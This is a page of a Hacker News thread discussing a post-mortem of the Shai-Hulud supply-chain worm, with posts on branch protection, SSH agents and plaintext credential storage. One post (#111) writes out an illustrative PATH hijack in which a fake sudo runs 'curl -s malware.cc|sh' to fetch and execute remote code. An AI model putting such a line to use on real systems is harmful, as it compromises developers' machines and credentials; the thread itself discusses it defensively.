Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

trigger.dev

Post reply on HN
Print view View original

111–120 of 191 posts

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#111

Post by LtWorf »

otterley wrote: post #77
mr_mitm wrote: post #76

Earlier quoted context omitted.

I can type up a test case on my phone: The malware puts this in your bashrc or equivalent: PATH=/tmp/malware/bin:$PATH In /tmp/malware/bin/sudo: #!/bin/bash /sbin/sudo bash -c "curl -s malware.cc|sh && $@" You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent. You say it's…

Typical defense against this is to mount all user-writable filesystems as `noexec` but unfortunately most OSes don't do that out of the box.

Kinda hard to work as a software developer then.

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#112

Post by throw14082020 »

emmelaich wrote: post #107

Surprised that people allow force-push on git. If it needs to be done, it should only be done after consultation and disabled after.

It was on development branches. The threat actor was trying to delete development work.

Their main branch was already protected. I don't think it makes sense to protect every single branch in a repo? Since not all devs will have the ability to turn this off

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#113

Post by zymhan »

nsonha wrote: post #27
KomoD wrote: post #24

> stored in our database which was not compromised Personally I don't really agree with "was not compromised" You say yourself that the guy had access to your secrets and AWS, I'd definitely consider that compromised even if the guy (to your knowledge) didn't read anything from the database. Assume breach if access was possible.

There are logs for accessing aws resources and if you don't see the access before you revoke it then the data is safe

Because an attacker would never cover their tracks...

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#114

Post by throw14082020 »

0xbadcafebee wrote: post #41
zozos wrote: post #3

I have been thinking about this. How do I make my git setup on my laptop secure? Currently, I have my ssh key on the laptop, so if I want to push, I just use git push. And I have admin credentials for the org. How do I make it more secure?

1) Get 1Password, 2) use 1Password to hold all your SSH keys and authorize SSH access [1], 3) use 1Password to sign your Git commits and set up your remote VCS to validate them [2], 4) use GitHub OAuth [3] or the GitHub CLI's Login with HTTPS [4] to do repository push/pull. If you don't like 1Password, use BitWarden. With this setup there are two different SSH keys, one for access to GitHub, one is a commit signing k…

Okay great advice, thanks. I'm already using Bitwarden and found out they have an SSH Agent feature too [1]. I've tried lastpass, Bitwarden, 1password and I prefer Bitwarden (good UX, very affordable)

[1] https://bitwarden.com/help/ssh-agent/

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#116

Post by madeofpalk »

0xbadcafebee wrote: post #41
zozos wrote: post #3

I have been thinking about this. How do I make my git setup on my laptop secure? Currently, I have my ssh key on the laptop, so if I want to push, I just use git push. And I have admin credentials for the org. How do I make it more secure?

1) Get 1Password, 2) use 1Password to hold all your SSH keys and authorize SSH access [1], 3) use 1Password to sign your Git commits and set up your remote VCS to validate them [2], 4) use GitHub OAuth [3] or the GitHub CLI's Login with HTTPS [4] to do repository push/pull. If you don't like 1Password, use BitWarden. With this setup there are two different SSH keys, one for access to GitHub, one is a commit signing k…

Make sure the gh cli isn’t storing oauth credentials in plaintext as it can silently do.

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#117

Post by DANmode »

0xbadcafebee wrote: post #41
zozos wrote: post #3

I have been thinking about this. How do I make my git setup on my laptop secure? Currently, I have my ssh key on the laptop, so if I want to push, I just use git push. And I have admin credentials for the org. How do I make it more secure?

1) Get 1Password, 2) use 1Password to hold all your SSH keys and authorize SSH access [1], 3) use 1Password to sign your Git commits and set up your remote VCS to validate them [2], 4) use GitHub OAuth [3] or the GitHub CLI's Login with HTTPS [4] to do repository push/pull. If you don't like 1Password, use BitWarden. With this setup there are two different SSH keys, one for access to GitHub, one is a commit signing k…

Bitwarden verbiage deserves to be higher than 1Password, here.

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#118

Post by sallveburrpi »

otterley wrote: post #71
sallveburrpi wrote: post #10

Earlier quoted context omitted.

Pushing directly to main seems crazy - for anything that is remotely important I would use a pull request/merge request pattern

There's nothing wrong with pushing to main, as long as you don't blindly treat the head of the main branch as production-ready. It's a branch like any other; Git doesn't care what its name is.

Yea ofc I was implying that main is the branch that is pushed to production.

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#119

Post by c0balt »

snickerbockers wrote: post #51

>Running npm install is not negligence. Installing dependencies is not a security failure. The security failure is in an ecosystem that allows packages to run arbitrary code silently. No, your security failure is that you use a package manager that allows third-parties push arbitrary code into your product with no oversight. You only have "secutity" to the extent that you can trust the people who control those packag…

> Also the OP seemingly implies credentials are stored on-filesystem in plaintext but I might be extrapolating too much there.

To be fair, some tools only support a netrc file for http(s) based auth. Regardless, if you want to use git via http this vector exists almost always.

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#120

Post by woodruffw »

c0balt wrote: post #119
snickerbockers wrote: post #51

>Running npm install is not negligence. Installing dependencies is not a security failure. The security failure is in an ecosystem that allows packages to run arbitrary code silently. No, your security failure is that you use a package manager that allows third-parties push arbitrary code into your product with no oversight. You only have "secutity" to the extent that you can trust the people who control those packag…

> Also the OP seemingly implies credentials are stored on-filesystem in plaintext but I might be extrapolating too much there. To be fair, some tools only support a netrc file for http(s) based auth. Regardless, if you want to use git via http this vector exists almost always.

Serious question: what tools only support netrc for authentication? I'm aware of lots of tools that (unfortunately IMO) support netrc as a source of credentials, but I can't think of a single one that requires it.
Post reply on HN